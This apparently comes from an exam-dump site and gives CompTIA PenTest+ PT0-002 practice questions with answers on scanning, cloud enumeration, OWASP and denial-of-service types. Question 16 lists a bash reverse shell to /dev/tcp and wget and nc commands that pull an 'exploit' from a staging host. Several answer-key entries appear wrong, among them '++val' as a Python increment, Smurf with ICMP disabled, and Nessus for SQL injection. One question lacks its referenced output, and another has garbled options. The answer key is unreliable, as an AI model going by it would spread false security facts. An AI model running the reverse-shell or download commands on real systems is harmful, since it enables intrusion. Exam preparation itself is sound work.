PT0-002 | The Secret Of CompTIA PT0-002 Free Samples

NEW QUESTION 1
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:

• A. devices produce more heat and consume more power.
• B. devices are obsolete and are no longer available for replacement.
• C. protocols are more difficult to understand.
• D. devices may cause physical world effects.

Answer: D

Explanation:
"A significant issue identified by Wiberg is that using active network scanners, such as Nmap, presents a weakness when attempting port recognition or service detection on SCADA devices. Wiberg states that active tools such as Nmap can use unusual TCP segment data to try and find available ports. Furthermore, they can open a massive amount of connections with a specific SCADA device but then fail to close them gracefully." And since SCADA and ICS devices are designed and implemented with little attention having been paid to the operational security of these devices and their ability to handle errors or unexpected events, the presence idle open connections may result into errors that cannot be handled by the devices.

NEW QUESTION 2
A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

• A. ROE
• B. SLA
• C. MSA
• D. NDA

Answer: D

NEW QUESTION 3
Which of the following BEST describe the OWASP Top 10? (Choose two.)

• A. The most critical risks of web applications
• B. A list of all the risks of web applications
• C. The risks defined in order of importance
• D. A web-application security standard
• E. A risk-governance and compliance framework
• F. A checklist of Apache vulnerabilities

Answer: AC

NEW QUESTION 4
Which of the following expressions in Python increase a variable val by one (Choose two.)

• A. val++
• B. +val
• C. val=(val+1)
• D. ++val
• E. val=val++
• F. val+=1

Answer: DF

NEW QUESTION 5
A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

• A. iam_enum_permissions
• B. iam_privesc_scan
• C. iam_backdoor_assume_role
• D. iam_bruteforce_permissions

Answer: A

NEW QUESTION 6
A penetration tester conducted a discovery scan that generated the following:

Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?

• A. nmap –oG list.txt 192.168.0.1-254 , sort
• B. nmap –sn 192.168.0.1-254 , grep “Nmap scan” | awk ‘{print S5}’
• C. nmap –-open 192.168.0.1-254, uniq
• D. nmap –o 192.168.0.1-254, cut –f 2

Answer: D

NEW QUESTION 7
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?

• A. Stronger algorithmic requirements
• B. Access controls on the server
• C. Encryption on the user passwords
• D. A patch management program

Answer: C

NEW QUESTION 8
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

• A. Comma
• B. Double dash
• C. Single quote
• D. Semicolon

Answer: C

NEW QUESTION 9
Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?

• A. NIST SP 800-53
• B. OWASP Top 10
• C. MITRE ATT&CK framework
• D. PTES technical guidelines

Answer: C

NEW QUESTION 10
A penetration tester ran an Nmap scan on an Internet-facing network device with the –F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:
nmap –O –A –sS –p- 100.100.100.50
Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?

• A. A firewall or IPS blocked the scan.
• B. The penetration tester used unsupported flags.
• C. The edge network device was disconnected.
• D. The scan returned ICMP echo replies.

Answer: A

NEW QUESTION 11
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

• A. Smurf
• B. Ping flood
• C. Fraggle
• D. Ping of death

Answer: A

NEW QUESTION 12
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.
INSTRUCTIONS
Analyze the code segments to determine which sections are needed to complete a port scanning script. Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 13
A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

• A. Cost ofthe assessment
• B. Report distribution
• C. Testing restrictions
• D. Liability

Answer: B

NEW QUESTION 14
A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?

• A. Aircrack-ng
• B. Wireshark
• C. Wifite
• D. Kismet

Answer: A

NEW QUESTION 15
A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit?

• A. Perform XSS.
• B. Conduct a watering-hole attack.
• C. Use BeEF.
• D. Use browser autopwn.

Answer: A

NEW QUESTION 16
A penetration tester ran the following command on a staging server:
python –m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?

• A. nc 10.10.51.50 9891 < exploit
• B. powershell –exec bypass –f \\10.10.51.50\9891
• C. bash –i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
• D. wget 10.10.51.50:9891/exploit

Answer: D

NEW QUESTION 17
A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

• A. SQLmap
• B. Nessus
• C. Nikto
• D. DirBuster

Answer: B

NEW QUESTION 18
......